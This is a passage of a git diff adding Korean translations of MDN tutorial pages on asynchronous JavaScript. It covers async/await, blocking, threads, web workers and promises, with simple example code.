+<p>두 가지 예시를 보여주겠습니다. — 느린 비동기 작업 <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/slow-async-await.html">slow-async-await.html</a> (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/slow-async-await.html">source code</a>) 그리고 빠른 비동기 작업 <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/fast-async-await.html">fast-async-await.html</a> (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/fast-async-await.html">source code</a>)입니다. 두 예제에서  마치 비동기 작업인 것 처럼 보이기 위해 <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code> 을 사용했습니다. :</p>
+
+<pre class="brush: js notranslate">function timeoutPromise(interval) {
+  return new Promise((resolve, reject) =&gt; {
+    setTimeout(function(){
+      resolve("done");
+    }, interval);
+  });
+};</pre>
+
+<p>그리고 세 가지 <code>timeoutPromise()</code> 함수를 호출하는 <code>timeTest()</code>함수를 만들었습니다.</p>
+
+<pre class="brush: js notranslate">async function timeTest() {
+  ...
+}</pre>
+
+<p>그리고 두 개 예제 모두 시작 시간을 기록하고, <code>timeTest()</code> Promise가 fulfilled된 시간을 저장하여 두 시간의 차를 계산해 작업이 얼마나 걸렸는지 사용자에게 보여줍니다. :</p>
+
+<pre class="brush: js notranslate">let startTime = Date.now();
+timeTest().then(() =&gt; {
+  let finishTime = Date.now();
+  let timeTaken = finishTime - startTime;
+  alert("Time taken in milliseconds: " + timeTaken);
+})</pre>
+
+<p><code>timeTest()</code> 함수만 두 예제에서 차이가 있습니다.</p>
+
+<p><code>slow-async-await.html</code> 예제이서, <code>timeTest()</code> 함수는 아래와 같이 생겼습니다. :</p>
+
+<pre class="brush: js notranslate">async function timeTest() {
+  await timeoutPromise(3000);
+  await timeoutPromise(3000);
+  await timeoutPromise(3000);
+}</pre>
+
+<p>아주 간단하게 <code>timeoutPromise()</code> 함수를 직접 호출했습니다. 각 작업은 3초씩 걸립니다. 그리고 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">await</span></font> 키워드를 사용했기 때문에 이전 await 작업이 끝나야 다음으로 진행됩니다. — 첫 번째 예제를 실행하면, alert 박스에서 약 9초(9000밀리초)가 걸렸음을 확인할 수 있습니다.</p>
+
+<p>다음으로 <code>fast-async-await.html</code> 예제이서, <code>timeTest()</code> 은 아래와 같이 생겼습니다. :</p>
+
+<pre class="brush: js notranslate">async function timeTest() {
+  const timeoutPromise1 = timeoutPromise(3000);
+  const timeoutPromise2 = timeoutPromise(3000);
+  const timeoutPromise3 = timeoutPromise(3000);
+
+  await timeoutPromise1;
+  await timeoutPromise2;
+  await timeoutPromise3;
+}</pre>
+
+<p>여기선 세 가지 <code>Promise</code> 오브젝트를 변수에 저장하여 동시에 작업을 시작하도록 했습니다.</p>
+
+<p>그리고 그 변수에 await을 사용하여 결과를 호출합니다. — 작업이 거의 동시에 시작됐기 때문에, Promise도 거의 동시에 fulfilled될 것 입니다. 두 번째 예제를 실행하면 거의 3초(3000밀리초) 만에 작업이 끝났음을 확인할 수 있습니다.</p>
+
+<p>코드를 주의깊게 테스트 하고, 성능이 떨어지기 시작하면 위의 상황을 의심해봐야 합니다.</p>
+
+<p>다른 아주 사소한 단점은 비동기로 실행될 Promise가 있다면 async함수 안에 항상 await을 써야한다는 것 입니다.</p>
+
+<h2 id="Asyncawait_class_methods">Async/await class methods</h2>
+
+<p>마지막으로 보여줄 내용은 <code>async</code> 키워드를 class/object의 메서드에 사용하여 Promise를 반환하게 만들 수 있다는 것 입니다. 그리고 <code>await</code> 를 그 안에 넣을 수도 있습니다. 다음 문서를 살펴보세요 &gt; <a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance#ECMAScript_2015_Classes">ES class code we saw in our object-oriented JavaScript article</a>, 그리고 보이는 코드를<code>async</code> 메서드로 수정한 아래의 내용과 비교 해보세요 :</p>
+
+<pre class="brush: js notranslate">class Person {
+  constructor(first, last, age, gender, interests) {
+    this.name = {
+      first,
+      last
+    };
+    this.age = age;
+    this.gender = gender;
+    this.interests = interests;
+  }
+
+  async greeting() {
+    return await Promise.resolve(`Hi! I'm ${this.name.first}`);
+  };
+
+  farewell() {
+    console.log(`${this.name.first} has left the building. Bye for now!`);
+  };
+}
+
+let han = new Person('Han', 'Solo', 25, 'male', ['Smuggling']);</pre>
+
+<p>이제 클래스의 첫 번째 메서드를 아래와 같이 사용할 수 있습니다. :</p>
+
+<pre class="brush: js notranslate">han.greeting().then(console.log);</pre>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p>One consideration when deciding whether to use async/await is support for older browsers. They are available in modern versions of most browsers, the same as promises; the main support problems come with Internet Explorer and Opera Mini.</p>
+
+<p>If you want to use async/await but are concerned about older browser support, you could consider using the <a href="https://babeljs.io/">BabelJS</a> library — this allows you to write your applications using the latest JavaScript and let Babel figure out what changes if any are needed for your user’s browsers. On encountering a browser that does not support async/await, Babel's polyfill can automatically provide fallbacks that work in older browsers.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>And there you have it — async/await provide a nice, simplified way to write async code that is simpler to read and maintain. Even with browser support being more limited than other async code mechanisms at the time of writing, it is well worth learning and considering for use, both for now and in the future.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/asynchronous/concepts/index.html b/files/ko/learn/javascript/asynchronous/concepts/index.html
new file mode 100644
index 0000000000..443487fefb
--- /dev/null
+++ b/files/ko/learn/javascript/asynchronous/concepts/index.html
@@ -0,0 +1,159 @@
+---
+title: 일반적인 비동기 프로그래밍 개념
+slug: Learn/JavaScript/Asynchronous/Concepts
+tags:
+  - 비동기
+  - 비동기 프로그래밍
+  - 자바스크립트
+translation_of: Learn/JavaScript/Asynchronous/Concepts
+---
+<div>{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}</div>
+
+<p>이 문서에서는 비동기적 프로그래밍과 관련된 몇개의 개념들을 살펴볼 것입니다. 그리고 이것들이 웹브라우저와 자바스크립트에서 어떻게 보이는지도 살펴볼 것입니다. 이 모듈의 다른 문서들을 공부하기 전에, 이 문서에 나와있는 개념들을 먼저 학습하십시오.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행 조건:</th>
+   <td>기초적인 컴퓨터 언어 능력,  Javascript에 대한 기초적인 이해가 필요합니다. </td>
+  </tr>
+  <tr>
+   <th scope="row">학습 목적: </th>
+   <td>비동기적 프로그래밍이 작동하는 기초적인 원리에 대해 이해하는 것입니다. 그리고 이 개념이 어떻게 웹브라우저와 자바스크립트에서 압도적인 지위를 차지하기 되었는지 알아봅니다. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="비동기적Asynchronous_이란">'비동기적'(Asynchronous) 이란?</h2>
+
+<p>일반적으로, 프로그램의 코드는 순차적으로 진행됩니다. 한번에 한가지 사건만 발생하면서 말입니다. 만약 어떤 함수의 결과가 다른 함수에 영향을 받는다면, 그 함수는 다른 함수가 끝나고 값을 산출할 때까지 기다려야 합니다. 그리고 그 과정이 끝날 때 까지, 유저의 입장에서 보자면,  전체 프로그램이 모두 멈춘 것처럼 보입니다. </p>
+
+<p>예를들면, 맥 유저라면 종종 회전하는 무지개색 커서(비치볼)를 본 적이 있을 것입니다. 이 커서는 오퍼레이팅 시스템이 이렇게 말하고 있는 것입니다. "당신이 지금 사용하고 있는 시스템은 지금 멈춰서서 뭔가가 끝나기를 기다려야만 합니다. 그리고 이 과정은 당신이 지금 무슨 일이 일어나고있는지 궁금해 할 만큼 오래 걸리고 있습니다."</p>
+
+<p><img alt="Multi-colored macOS beachball busy spinner" src="https://mdn.mozillademos.org/files/16577/beachball.jpg" style="display: block; float: left; height: 256px; margin: 0px 30px 0px 0px; width: 250px;"></p>
+
+<p>이것은 당황스러운 경험이며, 특히 요즘과 같이 컴퓨터가 여러개 프로세서를 돌리는 시대에는 컴퓨터 성능을 효율적으로 쓰지 못하는 처사입니다. 당신이 다른 코어 프로세서에 다른 작업들을 움직이게 하고 작업이 완료되면 알려줄 수 있을 때, 무언가를 기다리는 것은 의미가 없습니다 .그 동안 다른 작업을 수행할 수 있고, 이것이 비동기 프로그래밍의 기본입니다. 이러한 작업을 비동기적으로 실행할 수 있는 API를 제공하는 것은 당신이 사용하고 있는 프로그래밍 환경(웹 개발의 경우 웹브라우저) 에 달려 있습니다.</p>
+
+<h2 id="Blocking_code">Blocking code</h2>
+
+<p>비동기 기법은 특히 웹 프로그래밍에 매우 유용합니다. 웹 앱이 브라우저에서 특정 코드를 실행하느라 브라우저에게 제어권을 돌려주지 않으면 브라우저는 마치 정지된 것처럼 보일 수 있습니다. 이러한 현상을 <strong>blocking </strong>이라고 부릅니다. 자세히 정의하자면, 사용자의 입력을 처리하느라 웹 앱이 프로세서에 대한 제어권을 브라우저에게 반환하지 않는 현상 입니다..</p>
+
+<p>Blocking의 몇 가지 예를 살펴보겠습니다.</p>
+
+<p>여기 <a href="https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing">simple-sync.html</a> 예시가 있습니다. (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html">see it running live</a>), 하나의 버튼에 클릭 이벤트리스너를 지정하여 시간이 오래 걸리는 처리를 하도록하였습니다. (날짜를 천만번 계산하고 마지막에 콘솔에 날짜를 출력합니다.) 그리고 처리가 끝나면 페이지에 간단한 문장을 한 줄 출력합니다. :</p>
+
+<pre class="brush: js notranslate">const btn = document.querySelector('button');
+btn.addEventListener('click', () =&gt; {
+  let myDate;
+  for(let i = 0; i &lt; 10000000; i++) {
+    let date = new Date();
+    myDate = date
+  }
+
+  console.log(myDate);
+
+  let pElem = document.createElement('p');
+  pElem.textContent = 'This is a newly-added paragraph.';
+  document.body.appendChild(pElem);
+});</pre>
+
+<p>이 예제를 실행할 때 JavaScript 콘솔을 열고 버튼을 클릭하면, 콘솔에 메시지가 출력되기 전 까지 페이지에 문장이 나타나지 않는다는 것을 알 수 있습니다. 코드는 위에서 아래로 순차적으로 실행되며, 아래쪽 코드는 위쪽 코드의 처리가 끝날 때 까지 실행되지 않습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 앞의 예제는 매우 비현실적입니다. 실제 웹 앱에서 날짜를 천만번 계산할 일은 없습니다. 실제로 보여주기 위해 극단적인 예시를 들었을 뿐입니다..</p>
+</div>
+
+<p>두 번째 예제를 살펴보겠습니다. <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">simple-sync-ui-blocking.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">see it live</a>),  페이지에 UI가 모두 표시되기 전 까지 사용자의 입력을 막는 좀 더 현실적인 예시입니다. 이번 예시에는 두 가지 버튼을 사용합니다. :</p>
+
+<ul>
+ <li>"Fill canvas" 버튼을 클릭하면 {{htmlelement("canvas")}} 태그에 100만개의 파란색 원을 채웁니다. (실행하면 원이 너무 많아서 원이 아니라 배경이 그냥 파란색으로 채워집니다.)</li>
+ <li>"Click me for alert" 버튼은 사용자에게 메시지를 출력합니다.</li>
+</ul>
+
+<pre class="brush: js notranslate">function expensiveOperation() {
+  for(let i = 0; i &lt; 1000000; i++) {
+    ctx.fillStyle = 'rgba(0,0,255, 0.2)';
+    ctx.beginPath();
+    ctx.arc(random(0, canvas.width), random(0, canvas.height), 10, degToRad(0), degToRad(360), false);
+    ctx.fill()
+  }
+}
+
+fillBtn.addEventListener('click', expensiveOperation);
+
+alertBtn.addEventListener('click', () =&gt;
+  alert('You clicked me!')
+);</pre>
+
+<p>첫 번째 버튼을 클릭한 후 두 번째 버튼을 바로 클릭하면 경고 박스가 나타나지 않는 것을 확인할 수 있습니다. 첫 번째 버튼은 이벤트가 끝나기 전 까지 다음 작동을 막아버립니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: OK, in our case, it is ugly and we are faking the blocking effect, but this is a common problem that developers of real apps fight to mitigate all the time.</p>
+</div>
+
+<p>왜 이런 현상이 발생할까요? 답은 자바스크립트는 기본적으로 <strong>single threaded</strong>이기 때문입니다. 이 시점에서 <strong>threads</strong>의 개념을 소개할 필요가 있겠군요</p>
+
+<h2 id="Threads">Threads</h2>
+
+<p><strong>Thread</strong> 는 기본적으로 프로그램이 작업을 완료하는데 사용할 수 있는 단일 프로세스 입니다. 각 스레드는 한 번에 하나의 작업만 수행할 수 있습니다. :</p>
+
+<pre class="notranslate">Task A --&gt; Task B --&gt; Task C</pre>
+
+<p>위의 예시처럼 각 작업은 순차적으로 실행되며, 다음 작업을 시작하려면 앞의 작업이 완료되어야 합니다.</p>
+
+<p>앞서 말했듯이, 많은 컴퓨터들이 현재 여러 개의 CPU코어를 가지고 있기 때문에, 한 번에 여러가지 일을 수행할 수 있습니다. Multiple thread를 지원하는 프로그래밍 언어는 멀티코어 컴퓨터의 CPU를 사용하여 여러 작업을 동시에 처리할 수 있습니다. :</p>
+
+<pre class="notranslate">Thread 1: Task A --&gt; Task B
+Thread 2: Task C --&gt; Task D</pre>
+
+<h3 id="JavaScript_is_single_threaded">JavaScript is single threaded</h3>
+
+<p>자바스크립트는 전통적으로 싱글 thread입니다. 컴퓨터가 여러 개의 CPU를 가지고 있어도 <strong>main thread</strong>라 불리는 단일 thread에서만 작업을 실행할 수 있습니다. 위의 예시는 아래처럼 실행됩니다. :</p>
+
+<pre class="notranslate">Main thread: Render circles to canvas --&gt; Display alert()</pre>
+
+<p>JavaScript는 이러한 문제를 해결하기 위해 몇 가지 툴을 도입했습니다. <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web workers</a>는 여러 개의 JavaScript 청크를 동시에 실행할 수 있도록 worker라고 불리는 별도의 스레드로 보낼 수 있습니다. 따라서 시간이 오래 걸리는 처리는 woker를 사용해 처리하면 blocking 발생을 막을 수 있습니다..</p>
+
+<pre class="notranslate">  Main thread: Task A --&gt; Task C
+Worker thread: Expensive task B</pre>
+
+<p>위의 내용을 잘 기억하시고 다음 예제를 살펴보세요. <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-worker.html">simple-sync-worker.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-worker.html">see it running live</a>), JavaScript 콘솔을 함께 열어주세요. 이전 예시는 날짜를 천만 번 계산하고 페이지에 문장을 출력했지만, 이번엔 천만번 계산 전 문장을 페이지에 출력해줍니다. 더이상 첫 번째 작업이 두 번째 작업을 차단하지 않습니다.</p>
+
+<h2 id="Asynchronous_code">Asynchronous code</h2>
+
+<p>Web worker는 꽤 유용하지만 이들도 한계가 있습니다. 주요한 내용은 Web worker는 {{Glossary("DOM")}} 에 접근할 수 없습니다. — UI를 업데이트하도록 worker에게 어떠한 지시도 직접 할 수 없습니다. 두 번째 예시에서 worker는 100만개의 파란색 원을 만들 수 없습니다. 단순히 숫자만 계산합니다.</p>
+
+<p>두 번째 문제는 worker에서 실행되는 코드는 차단되지 않지만 동기적으로 실행된다는 것 입니다. 이러한 문제는 함수를 사용할 때 발생합니다. 어떤 함수가 일의 처리를 위해 이전의 여러 프로세스의 결과를 return 받아야 할 경우 입니다. 동기적으로 실행되면 함수 실행에 필요한 매개변수를 받아올 수 없는 경우가 생기므로 함수는 사용자가 원하는 기능을 제대로 실행할 수 없습니다.</p>
+
+<pre class="notranslate">Main thread: Task A --&gt; Task B</pre>
+
+<p>이 예시에서 Task A는 서버로부터 이미지를 가져오고 Task B는 그 이미지에 필터를 적용하는 것과 같은 작업을 수행한다고 가정합니다. Task A를 실행하고 결과를 반환할 시간도 없이 Task B를 실행해버리면 에러가 발생할 것 입니다. 왜냐햐면 Task A에서 이미지를 완전히 가져온 상태가 아니기 때문이죠.</p>
+
+<pre class="notranslate">  Main thread: Task A --&gt; Task B --&gt; |Task D|
+Worker thread: Task C -----------&gt; |      |</pre>
+
+<p>이번 예시에선 Task D가 Task B와 Task C의 결과를 모두 사용한다고 가정합니다. Task B와 Task C가 동시에 아주 빠르게 결과를 반환하면 매우 이상적이겠지만, 현실은 그렇지 않습니다. Task D가 사용될 때 Task B, Task C 둘 중 어느 값이라도 입력이 되지 않을경우 에러가 발생합니다.</p>
+
+<p>이러한 문제를 해결하기 위해 브라우저를 통해 특정 작업을 비동기적으로 실행할 수 있습니다. 바로 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> 를 사용하는것 입니다. 아래 예시처럼 Task A가 서버에서 이미지를 가져오는 동안 Task B를 기다리게 할 수 있습니다. :</p>
+
+<pre class="notranslate">Main thread: Task A                   Task B
+    Promise:      |__async operation__|</pre>
+
+<p>위의 작업은 다른 곳에서 처리가 되므로, 비동기 작업이 진행되는 동안 main thread가 차단되지 않습니다.</p>
+
+<p>이번 문서에서 다룬 내용은 매우 중요한 내용입니다. 다음 문서에선 비동기 코드를 어떻게 쓸 수 있는지 살펴볼 계획이므로 끝까지 읽어주시면 좋겠습니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>현대의 소프트웨어 설계는 프로그램이 한 번에 두 가지 이상의 일을 할 수 있도록 비동기 프로그래밍을 중심으로 돌아가고 있습니다. 보다 새롭고 강력한 API를 이용하면서, 비동기로 작업해야만 하는 사례가 많아질 것입니다. 예전에는 비동기 코드를 쓰기가 힘들었습니다. 여전히 아직 어렵지만, 훨씬 쉬워졌습니다. 이 모듈의 나머지 부분에서는 비동기 코드가 왜 중요한지, 위에서 설명한 일부 문제들을 방지하는 코드 설계 방법에 대해 자세히 알아봅시다.</p>
+
+<h2 id="이번_module_에서는..">이번 module 에서는..</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">일반적인 비동기 프로그래밍 개념</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">비동기 자바스크립트 소개</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">협동하는 비동기 자바스크립트: Timeouts and intervals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Promises와 함께하는 우아한 비동기 프로그래밍</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">비동기 프로그래밍을 쉽게 만드는 방법: async and await</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">올바른 접근 방식 선택하기</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/asynchronous/index.html b/files/ko/learn/javascript/asynchronous/index.html
new file mode 100644
index 0000000000..bcf2abdd45
--- /dev/null
+++ b/files/ko/learn/javascript/asynchronous/index.html
@@ -0,0 +1,59 @@
+---
+title: Asynchronous JavaScript
+slug: Learn/JavaScript/Asynchronous
+tags:
+  - Beginner
+  - CodingScripting
+  - Guide
+  - JavaScript
+  - Landing
+  - NeedsTranslation
+  - Promises
+  - TopicStub
+  - async
+  - asynchronous
+  - await
+  - callbacks
+  - requestAnimationFrame
+  - setInterval
+  - setTimeout
+translation_of: Learn/JavaScript/Asynchronous
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">In this module we take a look at {{Glossary("asynchronous")}} {{Glossary("JavaScript")}}, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server.</span></p>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>Asynchronous JavaScript is a fairly advanced topic, and you are advised to work through <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a> and <a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript building blocks</a> modules before attempting this.</p>
+
+<p>If you are not familiar with the concept of asynchronous programming, you should definitely start with the <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a> article in this module. If you are, then you can probably skip to the <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a> module.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you can try out (most of) the code examples in an online coding program such as <a href="http://jsbin.com/">JSBin</a> or <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a></dt>
+ <dd>
+ <p>In this article we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and JavaScript. You should understand these concepts before working through the other articles in the module.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></dt>
+ <dd>In this article we briefly recap the problems associated with sychronous JavaScript, and take a first look at some of the different asynchronous JavaScript techniques you'll encounter, showing how they can help us solve such problems.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Loops_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></dt>
+ <dd>Here we look at the traditional methods JavaScript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g. a set number of times per second), talk about what they are useful for, and look at their inherent issues.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Handling async operations gracefully with Promises</a></dt>
+ <dd>Promises are a comparatively new feature of the JavaScript language that allow you to defer further actions until after the previous action has completed, or respond to its failure. This is really useful for setting up a sequence of operations to work correctly. This article shows you how promises work, where you'll see them in use in WebAPIs, and how to write your own.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></dt>
+ <dd>Promises can be somewhat complex to set up and understand, and so modern browsers have implemented <code>async</code> functions and the <code>await</code> operator — the former allows standard functions to implicitly behave asynchronously with promises, whereas the latter can be used inside <code>async</code> functions to wait for promises before the function continues, making chaining of promises easier. This article explains <code>async</code>/<code>await</code>.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></dt>
+ <dd>To finish this module off, we'll consider the different coding techniques and features we've discussed throughout, looking at which ones you should use when, with recommendations and reminders of common pitfalls where appropriate.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://eloquentjavascript.net/11_async.html">Asynchronous Programming</a> from the fantastic <a href="https://eloquentjavascript.net/">Eloquent JavaScript</a> online book by Marijn Haverbeke.</li>
+</ul>
diff --git a/files/ko/learn/javascript/asynchronous/introducing/index.html b/files/ko/learn/javascript/asynchronous/introducing/index.html
new file mode 100644
index 0000000000..a63eb66158
--- /dev/null
+++ b/files/ko/learn/javascript/asynchronous/introducing/index.html
@@ -0,0 +1,281 @@
+---
+title: Introducing asynchronous JavaScript
+slug: Learn/JavaScript/Asynchronous/Introducing
+translation_of: Learn/JavaScript/Asynchronous/Introducing
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}</div>
+
+<p class="summary">이 문서에선 JavaScript의 동기식 처리와 관련된 문제를 간략하게 요약하고, 앞으로 접하게 될 다른 비동기 기술들을 살펴보며, 어떻게 우리에게 도움이 될 수 있는지 살펴봅니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">준비:</th>
+   <td>Basic computer literacy, a reasonable understanding of JavaScript fundamentals.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>
+    <p>비동기 자바스크립트에 대해 더 알기 위해, 동기 스크립트와 어떤 부분이 다른지 그리고 사용 사례를 알 수 있다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Synchronous_JavaScript">Synchronous JavaScript</h2>
+
+<p><strong>{{Glossary("asynchronous")}}</strong> JavaScript가 무엇인지 이해하려면, 우리는 <strong>{{Glossary("synchronous")}}</strong> JavaScript가 무엇인지 알아야 합니다. 이 문서에선 이전 문서에서 본 정보의 일부를 요약하겠습니다.</p>
+
+<p>이전의 학습 모듈에서 살펴본 많은 기능들은 동기식 입니다. — 약간의 코드를 실행하면, 브라우저가 할 수 있는 한 빠르게 결과를 보여줍니다. 다음 예제를 살펴볼까요 (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/basic-function.html">see it live here</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/basic-function.html">see the source</a>):</p>
+
+<pre class="brush: js notranslate">const btn = document.querySelector('button');
+btn.addEventListener('click', () =&gt; {
+  alert('You clicked me!');
+
+  let pElem = document.createElement('p');
+  pElem.textContent = 'This is a newly-added paragraph.';
+  document.body.appendChild(pElem);
+});
+</pre>
+
+<p>이 블럭에서 코드는 위에서 아래로 차례대로 실행됩니다. :</p>
+
+<ol>
+ <li>DOM에 미리 정의된 {{htmlelement("button")}} element 를 참조합니다.</li>
+ <li><code><a href="/en-US/docs/Web/API/Element/click_event">click</a></code> 이벤트 리스너를 만들어 버튼이 클릭됐을 때 아래 기능을 차례로 실행합니다. :
+  <ol>
+   <li><code><a href="/en-US/docs/Web/API/Window/alert">alert()</a></code> 메시지가 나타납니다.</li>
+   <li>메시지가 사라지면 {{htmlelement("p")}} element를 만듭니다.</li>
+   <li>그리고 text content를 만듭니다.</li>
+   <li>마지막으로 docuent body에 문장을 추가합니다.</li>
+  </ol>
+ </li>
+</ol>
+
+<p>각 작업이 처리되는 동안 렌더링은 일시 중지됩니다. <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">앞에서 말한 문서와 같이</a>, <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts#JavaScript_is_single_threaded">JavaScript 는 single threaded</a>이기 때문입니다. 한 번에 한 작업만, 하나의 main thread에서 처리될 수 있습니다. 그리고 다른 작업은 앞선 작업이 끝나야 수행됩니다.</p>
+
+<p>따라서 앞의 예제는 사용자가 OK 버튼을 누를 때까지 문장이 나타나지 않습니다. :</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;<span class="pl-ent">button</span>&gt;Click me&lt;/<span class="pl-ent">button</span>&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Synchronous_JavaScript', '100%', '70px')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 기억해두세요. <code><a href="/en-US/docs/Web/API/Window/alert">alert()</a></code> 는 동기 블럭을 설명하는데 아주 유용하지만, 실제 어플리케이션에서 사용하기엔 아주 끔찍합니다.</p>
+</div>
+
+<h2 id="Asynchronous_JavaScript">Asynchronous JavaScript</h2>
+
+<p>앞서 설명된 이유들 (e.g. related to blocking) 때문에 많은 웹 API기능은 현재 비동기 코드를 사용하여 실행되고 있습니다. 특히 외부 디바이스에서 어떤 종류의 리소스에 액세스 하거나 가져오는 기능들에 많이 사용합니다. 예를 들어 네트워크에서 파일을 가져오거나, 데이터베이스에 접속해 특정 데이터를 가져오는 일, 웹 캠에서 비디오 스트림에 엑세스 하거나, 디스플레이를 VR 헤드셋으로 브로드캐스팅 하는것 입니다.</p>
+
+<p>동기적 코드를 사용하여 작업을 처리하는데 왜 이렇게 어려울까요? 다음 예제를 살펴보겠습니다. 서버에서 이미지를 가져오면 네트워크 환경, 다운로드 속도 등의 영향을 받아 이미지를 즉시 확인할 수 없습니다. 이 말은 아래 코드가 (pseudocode) 실행되지 않는다는 의미 입니다. :</p>
+
+<pre class="brush: js notranslate">let response = fetch('myImage.png');
+let blob = response.blob();
+// display your image blob in the UI somehow</pre>
+
+<p>왜냐하면 앞서 설명했듯이 이미지를 다운로드 받는데 얼마나 걸릴지 모르기 때문입니다. 그래서 두 번째 줄을 실행하면 에러가 발생할 것 입니다. (이미지의 크키가 아주 작다면 에러가 발생하지 않을 수도 있습니다. 반대로 이미지의 크기가 크면 매번 발생할 것 입니다.) 왜냐하면 <code>response</code> 가 아직 제공되지 않았기 때문입니다. 따라서 개발자는 <code>response</code> 가 반환되기 전 까지 기다리게 처리를 해야합니다.</p>
+
+<p>JavaScript에서 볼 수 있는 비동기 스타일은 두 가지 유형이 있습니다, 예전 방식인 callbacks 그리고 새로운 방식인 promise-style 코드 입니다. 이제부터 차례대로 살펴보겠습니다.</p>
+
+<h2 id="Async_callbacks">Async callbacks</h2>
+
